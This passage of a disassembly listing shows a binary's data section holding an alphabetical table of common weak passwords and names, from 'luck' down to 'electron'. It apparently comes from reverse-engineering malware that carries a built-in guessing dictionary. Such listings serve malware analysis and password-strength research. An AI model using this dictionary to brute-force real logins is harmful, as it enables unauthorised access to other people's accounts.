aLuck		db 'luck',0             ; DATA XREF: .nsp0:00426BF4o
		align 4
aLover		db 'lover',0            ; DATA XREF: .nsp0:00426BF0o
		align 10h
aLovebug	db 'lovebug',0          ; DATA XREF: .nsp0:00426BECo
aLouis		db 'louis',0            ; DATA XREF: .nsp0:00426BE8o
		align 10h
aLoser		db 'loser',0            ; DATA XREF: .nsp0:00426BE4o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: .nsp0:00426BE0o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: .nsp0:00426BDCo
		align 4
aLori		db 'lori',0             ; DATA XREF: .nsp0:00426BD8o
		align 4
aLore		db 'lore',0             ; DATA XREF: .nsp0:00426BD4o
		align 4
aLoose		db 'loose',0            ; DATA XREF: .nsp0:00426BD0o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: .nsp0:00426BCCo
		align 4
aLois		db 'lois',0             ; DATA XREF: .nsp0:00426BC8o
		align 4
aLogout		db 'logout',0           ; DATA XREF: .nsp0:00426BC4o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: .nsp0:00426BC0o
		align 4
aLogic		db 'logic',0            ; DATA XREF: .nsp0:00426BBCo
		align 10h
aLockword	db 'lockword',0         ; DATA XREF: .nsp0:00426BB8o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: .nsp0:00426BB4o
aLock		db 'lock',0             ; DATA XREF: .nsp0:00426BB0o
		align 4
aLoad		db 'load',0             ; DATA XREF: .nsp0:00426BACo
		align 4
aLive		db 'live',0             ; DATA XREF: .nsp0:00426BA8o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: .nsp0:00426BA4o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: .nsp0:00426BA0o
		align 10h
aLisa		db 'lisa',0             ; DATA XREF: .nsp0:00426B9Co
		align 4
aLips		db 'lips',0             ; DATA XREF: .nsp0:00426B98o
		align 10h
aLion		db 'lion',0             ; DATA XREF: .nsp0:00426B94o
		align 4
aLink		db 'link',0             ; DATA XREF: .nsp0:00426B90o
		align 10h
aLinda		db 'linda',0            ; DATA XREF: .nsp0:00426B8Co
		align 4
aLimited	db 'limited',0          ; DATA XREF: .nsp0:00426B88o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: .nsp0:00426B84o
		align 4
aLima		db 'lima',0             ; DATA XREF: .nsp0:00426B80o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: .nsp0:00426B7Co
		align 10h
aLight		db 'light',0            ; DATA XREF: .nsp0:00426B78o
		align 4
aLife		db 'life',0             ; DATA XREF: .nsp0:00426B74o
		align 10h
aLicker		db 'licker',0           ; DATA XREF: .nsp0:00426B70o
		align 4
aLick		db 'lick',0             ; DATA XREF: .nsp0:00426B6Co
		align 10h
aLibrary	db 'library',0          ; DATA XREF: .nsp0:00426B68o
aLiberal	db 'liberal',0          ; DATA XREF: .nsp0:00426B64o
aLexluthe	db 'lexluthe',0         ; DATA XREF: .nsp0:00426B60o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: .nsp0:00426B5Co
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .nsp0:00426B58o
aLeslie		db 'leslie',0           ; DATA XREF: .nsp0:00426B54o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: .nsp0:00426B50o
aLeroy		db 'leroy',0            ; DATA XREF: .nsp0:00426B4Co
		align 4
aLeland		db 'leland',0           ; DATA XREF: .nsp0:00426B48o
		align 4
aLegal		db 'legal',0            ; DATA XREF: .nsp0:00426B44o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: .nsp0:00426B40o
		align 10h
aLeft		db 'left',0             ; DATA XREF: .nsp0:00426B3Co
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: .nsp0:00426B38o
		align 4
aLeah		db 'leah',0             ; DATA XREF: .nsp0:00426B34o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: .nsp0:00426B30o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: .nsp0:00426B2Co
aLava		db 'lava',0             ; DATA XREF: .nsp0:00426B28o
		align 4
aLaura		db 'laura',0            ; DATA XREF: .nsp0:00426B24o
		align 4
aLaser		db 'laser',0            ; DATA XREF: .nsp0:00426B20o
		align 4
aLarry		db 'larry',0            ; DATA XREF: .nsp0:00426B1Co
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: .nsp0:00426B18o
		align 4
aLara		db 'lara',0             ; DATA XREF: .nsp0:00426B14o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: .nsp0:00426B10o
		align 4
aLana		db 'lana',0             ; DATA XREF: .nsp0:00426B0Co
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: .nsp0:00426B08o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: .nsp0:00426B04o
		align 10h
aLakers		db 'lakers',0           ; DATA XREF: .nsp0:00426B00o
		align 4
aLadle		db 'ladle',0            ; DATA XREF: .nsp0:00426AFCo
		align 10h
aLadies		db 'ladies',0           ; DATA XREF: .nsp0:00426AF8o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: .nsp0:00426AF4o
		align 10h
aKristine	db 'kristine',0         ; DATA XREF: .nsp0:00426AF0o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: .nsp0:00426AECo
aKristie	db 'kristie',0          ; DATA XREF: .nsp0:00426AE8o
aKristi		db 'kristi',0           ; DATA XREF: .nsp0:00426AE4o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: .nsp0:00426AE0o
aKrista		db 'krista',0           ; DATA XREF: .nsp0:00426ADCo
		align 4
aKnown		db 'known',0            ; DATA XREF: .nsp0:00426AD8o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: .nsp0:00426AD4o
		align 4
aKnight		db 'knight',0           ; DATA XREF: .nsp0:00426AD0o
		align 10h
aKnife		db 'knife',0            ; DATA XREF: .nsp0:00426ACCo
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: .nsp0:00426AC8o
aKitten		db 'kitten',0           ; DATA XREF: .nsp0:00426AC4o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: .nsp0:00426AC0o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: .nsp0:00426ABCo
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: .nsp0:00426AB8o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: .nsp0:00426AB4o
		align 10h
aKing		db 'king',0             ; DATA XREF: .nsp0:00426AB0o
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: .nsp0:00426AACo
		align 4
aKilo		db 'kilo',0             ; DATA XREF: .nsp0:00426AA8o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: .nsp0:00426AA4o
		align 4
aKill		db 'kill',0             ; DATA XREF: .nsp0:00426AA0o
		align 10h
aKids		db 'kids',0             ; DATA XREF: .nsp0:00426A9Co
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: .nsp0:00426A98o
aKeyin		db 'keyin',0            ; DATA XREF: .nsp0:00426A94o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: .nsp0:00426A90o
aKewl		db 'kewl',0             ; DATA XREF: .nsp0:00426A8Co
		align 4
aKevin		db 'kevin',0            ; DATA XREF: .nsp0:00426A88o
		align 10h
aKerry		db 'kerry',0            ; DATA XREF: .nsp0:00426A84o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: .nsp0:00426A80o
		align 10h
aKerri		db 'kerri',0            ; DATA XREF: .nsp0:00426A7Co
		align 4
aKernel		db 'kernel',0           ; DATA XREF: .nsp0:00426A78o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: .nsp0:00426A74o
		align 4
aKeri		db 'keri',0             ; DATA XREF: .nsp0:00426A70o
		align 10h
aKelly		db 'kelly',0            ; DATA XREF: .nsp0:00426A6Co
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: .nsp0:00426A68o
aKatina		db 'katina',0           ; DATA XREF: .nsp0:00426A64o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: .nsp0:00426A60o
		align 10h
aKathrine	db 'kathrine',0         ; DATA XREF: .nsp0:00426A5Co
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: .nsp0:00426A58o
		align 4
aKate		db 'kate',0             ; DATA XREF: .nsp0:00426A54o
		align 10h
aKatana		db 'katana',0           ; DATA XREF: .nsp0:00426A50o
		align 4
aKarina		db 'karina',0           ; DATA XREF: .nsp0:00426A4Co
		align 10h
aKarie		db 'karie',0            ; DATA XREF: .nsp0:00426A48o
		align 4
aKaren		db 'karen',0            ; DATA XREF: .nsp0:00426A44o
		align 10h
aKaka		db 'kaka',0             ; DATA XREF: .nsp0:00426A40o
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: .nsp0:00426A3Co
aJune		db 'june',0             ; DATA XREF: .nsp0:00426A38o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: .nsp0:00426A34o
		align 10h
aJulie		db 'julie',0            ; DATA XREF: .nsp0:00426A30o
		align 4
aJulia		db 'julia',0            ; DATA XREF: .nsp0:00426A2Co
		align 10h
aJuicy		db 'juicy',0            ; DATA XREF: .nsp0:00426A28o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: .nsp0:00426A24o
		align 10h
aJudy		db 'judy',0             ; DATA XREF: .nsp0:00426A20o
		align 4
aJudith		db 'judith',0           ; DATA XREF: .nsp0:00426A1Co
		align 10h
aJoyce		db 'joyce',0            ; DATA XREF: .nsp0:00426A18o
		align 4
aJournal	db 'journal',0          ; DATA XREF: .nsp0:00426A14o
aJoshua		db 'joshua',0           ; DATA XREF: .nsp0:00426A10o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: .nsp0:00426A0Co
		align 10h
aJohnny		db 'johnny',0           ; DATA XREF: .nsp0:00426A08o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: .nsp0:00426A04o
aJohn		db 'john',0             ; DATA XREF: .nsp0:00426A00o
		align 4
aJody		db 'jody',0             ; DATA XREF: .nsp0:004269FCo
		align 10h
aJoanne		db 'joanne',0           ; DATA XREF: .nsp0:004269F8o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: .nsp0:004269F4o
		align 10h
aJill		db 'jill',0             ; DATA XREF: .nsp0:004269F0o
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: .nsp0:004269ECo
aJester		db 'jester',0           ; DATA XREF: .nsp0:004269E8o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: .nsp0:004269E4o
aJerusale	db 'jerusale',0         ; DATA XREF: .nsp0:004269E0o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: .nsp0:004269DCo
		align 4
aJenny		db 'jenny',0            ; DATA XREF: .nsp0:004269D8o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: .nsp0:004269D4o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: .nsp0:004269D0o
		align 10h
aJeff		db 'jeff',0             ; DATA XREF: .nsp0:004269CCo
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: .nsp0:004269C8o
		align 10h
aJean		db 'jean',0             ; DATA XREF: .nsp0:004269C4o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: .nsp0:004269C0o
		align 10h
aJava		db 'java',0             ; DATA XREF: .nsp0:004269BCo
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: .nsp0:004269B8o
		align 10h
aJapan		db 'japan',0            ; DATA XREF: .nsp0:004269B4o
		align 4
aJanie		db 'janie',0            ; DATA XREF: .nsp0:004269B0o
		align 10h
aJanice		db 'janice',0           ; DATA XREF: .nsp0:004269ACo
		align 4
aJanet		db 'janet',0            ; DATA XREF: .nsp0:004269A8o
		align 10h
aJane		db 'jane',0             ; DATA XREF: .nsp0:004269A4o
		align 4
aJail		db 'jail',0             ; DATA XREF: .nsp0:004269A0o
		align 10h
aJackie		db 'jackie',0           ; DATA XREF: .nsp0:0042699Co
		align 4
aIsis		db 'isis',0             ; DATA XREF: .nsp0:00426998o
		align 10h
aIrishman	db 'irishman',0         ; DATA XREF: .nsp0:00426994o
		align 4
aIrene		db 'irene',0            ; DATA XREF: .nsp0:00426990o
		align 4
aInvent		db 'invent',0           ; DATA XREF: .nsp0:0042698Co
		align 4
aInteger	db 'integer',0          ; DATA XREF: .nsp0:00426988o
aInside		db 'inside',0           ; DATA XREF: .nsp0:00426984o
		align 4
aInput		db 'input',0            ; DATA XREF: .nsp0:00426980o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: .nsp0:0042697Co
		align 10h
aInna		db 'inna',0             ; DATA XREF: .nsp0:00426978o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: .nsp0:00426974o
		align 10h
aIngress	db 'ingress',0          ; DATA XREF: .nsp0:00426970o
aIngres		db 'ingres',0           ; DATA XREF: .nsp0:0042696Co
		align 10h
aIndians	db 'indians',0          ; DATA XREF: .nsp0:00426968o
aIndiana	db 'indiana',0          ; DATA XREF: .nsp0:00426964o
aIndian		db 'indian',0           ; DATA XREF: .nsp0:00426960o
		align 4
aIndia		db 'india',0            ; DATA XREF: .nsp0:0042695Co
		align 10h
aInclude	db 'include',0          ; DATA XREF: .nsp0:00426958o
aImperial	db 'imperial',0         ; DATA XREF: .nsp0:00426954o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: .nsp0:00426950o
		align 10h
aImbrogli	db 'imbrogli',0         ; DATA XREF: .nsp0:0042694Co
		align 4
aImage		db 'image',0            ; DATA XREF: .nsp0:00426948o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: .nsp0:00426944o
		align 10h
aIcecream	db 'icecream',0         ; DATA XREF: .nsp0:00426940o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: .nsp0:0042693Co
		align 4
aHyper		db 'hyper',0            ; DATA XREF: .nsp0:00426938o
		align 10h
aHydrogen	db 'hydrogen',0         ; DATA XREF: .nsp0:00426934o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: .nsp0:00426930o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: .nsp0:0042692Co
		align 10h
aHunt		db 'hunt',0             ; DATA XREF: .nsp0:00426928o
		align 4
aHttp		db 'http',0             ; DATA XREF: .nsp0:00426924o
		align 10h
aHotel		db 'hotel',0            ; DATA XREF: .nsp0:00426920o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: .nsp0:0042691Co
		align 10h
aHost		db 'host',0             ; DATA XREF: .nsp0:00426918o
		align 4
aHorus		db 'horus',0            ; DATA XREF: .nsp0:00426914o
		align 10h
aHorse		db 'horse',0            ; DATA XREF: .nsp0:00426910o
		align 4
aHorror		db 'horror',0           ; DATA XREF: .nsp0:0042690Co
		align 10h
aHorrible	db 'horrible',0         ; DATA XREF: .nsp0:00426908o
		align 4
aHorny		db 'horny',0            ; DATA XREF: .nsp0:00426904o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: .nsp0:00426900o
aHooker		db 'hooker',0           ; DATA XREF: .nsp0:004268FCo
		align 4
aHoney		db 'honey',0            ; DATA XREF: .nsp0:004268F8o
		align 4
aHomework	db 'homework',0         ; DATA XREF: .nsp0:004268F4o
		align 4
aHomer		db 'homer',0            ; DATA XREF: .nsp0:004268F0o
		align 10h
aHomepage	db 'homepage',0         ; DATA XREF: .nsp0:004268ECo
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: .nsp0:004268E8o
		align 4
aHolly		db 'holly',0            ; DATA XREF: .nsp0:004268E4o
		align 10h
aHole		db 'hole',0             ; DATA XREF: .nsp0:004268E0o
		align 4
aHits		db 'hits',0             ; DATA XREF: .nsp0:004268DCo
		align 10h
aHitler		db 'hitler',0           ; DATA XREF: .nsp0:004268D8o
		align 4
aHighland	db 'highland',0         ; DATA XREF: .nsp0:004268D4o
		align 4
aHigh		db 'high',0             ; DATA XREF: .nsp0:004268D0o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: .nsp0:004268CCo
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: .nsp0:004268C8o
		align 10h
aHiawatha	db 'hiawatha',0         ; DATA XREF: .nsp0:004268C4o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: .nsp0:004268C0o
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: .nsp0:004268BCo
aHeroin		db 'heroin',0           ; DATA XREF: .nsp0:004268B8o
		align 4
aHero		db 'hero',0             ; DATA XREF: .nsp0:004268B4o
		align 10h
aHerbert	db 'herbert',0          ; DATA XREF: .nsp0:004268B0o
aHerb		db 'herb',0             ; DATA XREF: .nsp0:004268ACo
		align 10h
aHelp		db 'help',0             ; DATA XREF: .nsp0:004268A8o
		align 4
aHello		db 'hello',0            ; DATA XREF: .nsp0:004268A4o
		align 10h
aHell		db 'hell',0             ; DATA XREF: .nsp0:004268A0o
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: .nsp0:0042689Co
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: .nsp0:00426898o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: .nsp0:00426894o
		align 4
aHeather	db 'heather',0          ; DATA XREF: .nsp0:00426890o
aHeathen	db 'heathen',0          ; DATA XREF: .nsp0:0042688Co
aHeat		db 'heat',0             ; DATA XREF: .nsp0:00426888o
		align 10h
aHeadbang	db 'headbang',0         ; DATA XREF: .nsp0:00426884o
		align 4
aHead		db 'head',0             ; DATA XREF: .nsp0:00426880o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: .nsp0:0042687Co
		align 4
aHaven		db 'haven',0            ; DATA XREF: .nsp0:00426878o
		align 4
aHate		db 'hate',0             ; DATA XREF: .nsp0:00426874o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: .nsp0:00426870o
		align 4
aHarold		db 'harold',0           ; DATA XREF: .nsp0:0042686Co
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: .nsp0:00426868o
aHarddriv	db 'harddriv',0         ; DATA XREF: .nsp0:00426864o
		align 10h
aHardcore	db 'hardcore',0         ; DATA XREF: .nsp0:00426860o
		align 4
aHard		db 'hard',0             ; DATA XREF: .nsp0:0042685Co
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: .nsp0:00426858o
		align 10h
aHandjob	db 'handjob',0          ; DATA XREF: .nsp0:00426854o
aHandily	db 'handily',0          ; DATA XREF: .nsp0:00426850o
aHandel		db 'handel',0           ; DATA XREF: .nsp0:0042684Co
		align 4
aHamster	db 'hamster',0          ; DATA XREF: .nsp0:00426848o
aHamlet		db 'hamlet',0           ; DATA XREF: .nsp0:00426844o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: .nsp0:00426840o
		align 4
aHair		db 'hair',0             ; DATA XREF: .nsp0:0042683Co
		align 4
aHagar		db 'hagar',0            ; DATA XREF: .nsp0:00426838o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: .nsp0:00426834o
		align 4
aHack		db 'hack',0             ; DATA XREF: .nsp0:00426830o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: .nsp0:0042682Co
		align 4
aGumption	db 'gumption',0         ; DATA XREF: .nsp0:00426828o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: .nsp0:00426824o
		align 10h
aGuess		db 'guess',0            ; DATA XREF: .nsp0:00426820o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: .nsp0:0042681Co
		align 10h
aGuardian	db 'guardian',0         ; DATA XREF: .nsp0:00426818o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: .nsp0:00426814o
aGroup		db 'group',0            ; DATA XREF: .nsp0:00426810o
		align 4
aGreen		db 'green',0            ; DATA XREF: .nsp0:0042680Co
		align 4
aGreat		db 'great',0            ; DATA XREF: .nsp0:00426808o
		align 4
aGrant		db 'grant',0            ; DATA XREF: .nsp0:00426804o
		align 4
aGrand		db 'grand',0            ; DATA XREF: .nsp0:00426800o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: .nsp0:004267FCo
		align 4
aGraham		db 'graham',0           ; DATA XREF: .nsp0:004267F8o
		align 4
aGrades		db 'grades',0           ; DATA XREF: .nsp0:004267F4o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: .nsp0:004267F0o
		align 10h
aGouge		db 'gouge',0            ; DATA XREF: .nsp0:004267ECo
		align 4
aGosling	db 'gosling',0          ; DATA XREF: .nsp0:004267E8o
aGorges		db 'gorges',0           ; DATA XREF: .nsp0:004267E4o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: .nsp0:004267E0o
		align 4
aGood		db 'good',0             ; DATA XREF: .nsp0:004267DCo
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: .nsp0:004267D8o
		align 4
aGolf		db 'golf',0             ; DATA XREF: .nsp0:004267D4o
		align 4
aGolden		db 'golden',0           ; DATA XREF: .nsp0:004267D0o
		align 4
aGold		db 'gold',0             ; DATA XREF: .nsp0:004267CCo
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: .nsp0:004267C8o
aGirl		db 'girl',0             ; DATA XREF: .nsp0:004267C4o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: .nsp0:004267C0o
		align 4
aGina		db 'gina',0             ; DATA XREF: .nsp0:004267BCo
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: .nsp0:004267B8o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: .nsp0:004267B4o
		align 10h
aGhost		db 'ghost',0            ; DATA XREF: .nsp0:004267B0o
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: .nsp0:004267ACo
		align 4
aGerm		db 'germ',0             ; DATA XREF: .nsp0:004267A8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .nsp0:004267A4o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: .nsp0:004267A0o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: .nsp0:0042679Co
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: .nsp0:00426798o
		align 10h
aGateway	db 'gateway',0          ; DATA XREF: .nsp0:00426794o
aGarfield	db 'garfield',0         ; DATA XREF: .nsp0:00426790o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: .nsp0:0042678Co
aGames		db 'games',0            ; DATA XREF: .nsp0:00426788o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: .nsp0:00426784o
aFungible	db 'fungible',0         ; DATA XREF: .nsp0:00426780o
		align 4
aFunction	db 'function',0         ; DATA XREF: .nsp0:0042677Co
		align 4
aFudge		db 'fudge',0            ; DATA XREF: .nsp0:00426778o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: .nsp0:00426774o
aFuckme		db 'fuckme',0           ; DATA XREF: .nsp0:00426770o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: .nsp0:0042676Co
aFucker		db 'fucker',0           ; DATA XREF: .nsp0:00426768o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .nsp0:00426764o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: .nsp0:00426760o
		align 4
aFrog		db 'frog',0             ; DATA XREF: .nsp0:0042675Co
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: .nsp0:00426758o
		align 10h
aFriends	db 'friends',0          ; DATA XREF: .nsp0:00426754o
aFriend		db 'friend',0           ; DATA XREF: .nsp0:00426750o
		align 10h
aFriday		db 'friday',0           ; DATA XREF: .nsp0:0042674Co
		align 4
aFrench		db 'french',0           ; DATA XREF: .nsp0:00426748o
		align 10h
aFreedom	db 'freedom',0          ; DATA XREF: .nsp0:00426744o
aFree		db 'free',0             ; DATA XREF: .nsp0:00426740o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .nsp0:0042673Co
		align 4
aFreak		db 'freak',0            ; DATA XREF: .nsp0:00426738o
		align 10h
aFrank		db 'frank',0            ; DATA XREF: .nsp0:00426734o
		align 4
aFrance		db 'france',0           ; DATA XREF: .nsp0:00426730o
		align 10h
aFoxtrot	db 'foxtrot',0          ; DATA XREF: .nsp0:0042672Co
aFourier	db 'fourier',0          ; DATA XREF: .nsp0:00426728o
aForsythe	db 'forsythe',0         ; DATA XREF: .nsp0:00426724o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: .nsp0:00426720o
		align 4
aFormat		db 'format',0           ; DATA XREF: .nsp0:0042671Co
		align 10h
aForm		db 'form',0             ; DATA XREF: .nsp0:00426718o
		align 4
aForever	db 'forever',0          ; DATA XREF: .nsp0:00426714o
aForesigh	db 'foresigh',0         ; DATA XREF: .nsp0:00426710o
		align 4
aFord		db 'ford',0             ; DATA XREF: .nsp0:0042670Co
		align 4
aForce		db 'force',0            ; DATA XREF: .nsp0:00426708o
		align 4
aFootball	db 'football',0         ; DATA XREF: .nsp0:00426704o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: .nsp0:00426700o
		align 4
aFool		db 'fool',0             ; DATA XREF: .nsp0:004266FCo
		align 4
aFood		db 'food',0             ; DATA XREF: .nsp0:004266F8o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: .nsp0:004266F4o
aFlower		db 'flower',0           ; DATA XREF: .nsp0:004266F0o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: .nsp0:004266ECo
aFloat		db 'float',0            ; DATA XREF: .nsp0:004266E8o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: .nsp0:004266E4o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: .nsp0:004266E0o
aFirewall	db 'firewall',0         ; DATA XREF: .nsp0:004266DCo
		align 10h
aFire		db 'fire',0             ; DATA XREF: .nsp0:004266D8o
		align 4
aFinite		db 'finite',0           ; DATA XREF: .nsp0:004266D4o
		align 10h
aFile		db 'file',0             ; DATA XREF: .nsp0:0040BC98o
					; .nsp0:0040BD03o ...
		align 4
aFight		db 'fight',0            ; DATA XREF: .nsp0:004266CCo
		align 10h
aField		db 'field',0            ; DATA XREF: .nsp0:004266C8o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: .nsp0:004266C4o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: .nsp0:004266C0o
aFermat		db 'fermat',0           ; DATA XREF: .nsp0:004266BCo
		align 4
aFender		db 'fender',0           ; DATA XREF: .nsp0:004266B8o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: .nsp0:004266B4o
aFeds		db 'feds',0             ; DATA XREF: .nsp0:004266B0o
		align 4
aFear		db 'fear',0             ; DATA XREF: .nsp0:004266ACo
		align 4
aFast		db 'fast',0             ; DATA XREF: .nsp0:004266A8o
		align 4
aFart		db 'fart',0             ; DATA XREF: .nsp0:004266A4o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: .nsp0:004266A0o
aFarad		db 'farad',0            ; DATA XREF: .nsp0:0042669Co
		align 4
aFamily		db 'family',0           ; DATA XREF: .nsp0:00426698o
		align 4
aFalse		db 'false',0            ; DATA XREF: .nsp0:00426694o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: .nsp0:00426690o
		align 4
aFaith		db 'faith',0            ; DATA XREF: .nsp0:0042668Co
		align 4
aFairway	db 'fairway',0          ; DATA XREF: .nsp0:00426688o
aExtensio	db 'extensio',0         ; DATA XREF: .nsp0:00426684o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: .nsp0:00426680o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: .nsp0:0042667Co
		align 10h
aExplore	db 'explore',0          ; DATA XREF: .nsp0:00426678o
aExplode	db 'explode',0          ; DATA XREF: .nsp0:00426674o
aExpert		db 'expert',0           ; DATA XREF: .nsp0:00426670o
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: .nsp0:0042666Co
		align 10h
aEuclid		db 'euclid',0           ; DATA XREF: .nsp0:00426668o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: .nsp0:00426664o
		align 4
aEstate		db 'estate',0           ; DATA XREF: .nsp0:00426660o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: .nsp0:0042665Co
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: .nsp0:00426658o
		align 10h
aErotic		db 'erotic',0           ; DATA XREF: .nsp0:00426654o
		align 4
aErin		db 'erin',0             ; DATA XREF: .nsp0:00426650o
		align 10h
aErika		db 'erika',0            ; DATA XREF: .nsp0:0042664Co
		align 4
aErica		db 'erica',0            ; DATA XREF: .nsp0:00426648o
		align 10h
aEric		db 'eric',0             ; DATA XREF: .nsp0:00426644o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: .nsp0:00426640o
aEnzyme		db 'enzyme',0           ; DATA XREF: .nsp0:0042663Co
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: .nsp0:00426638o
		align 4
aEnter		db 'enter',0            ; DATA XREF: .nsp0:00426634o
		align 4
aEnglish	db 'english',0          ; DATA XREF: .nsp0:00426630o
aEngland	db 'england',0          ; DATA XREF: .nsp0:0042662Co
aEngineer	db 'engineer',0         ; DATA XREF: .nsp0:00426628o
		align 4
aEngine		db 'engine',0           ; DATA XREF: .nsp0:00426624o
		align 10h
aEnemy		db 'enemy',0            ; DATA XREF: .nsp0:00426620o
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: .nsp0:0042661Co
		align 4
aEmily		db 'emily',0            ; DATA XREF: .nsp0:00426618o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: .nsp0:00426614o
aEmail		db 'email',0            ; DATA XREF: .nsp0:00426610o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: .nsp0:0042660Co
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: .nsp0:00426608o
		align 10h
aElephant	db 'elephant',0         ; DATA XREF: .nsp0:00426604o
		align 4
aElectron	db 'electron',0         ; DATA XREF: .nsp0:00426600o
		align 4
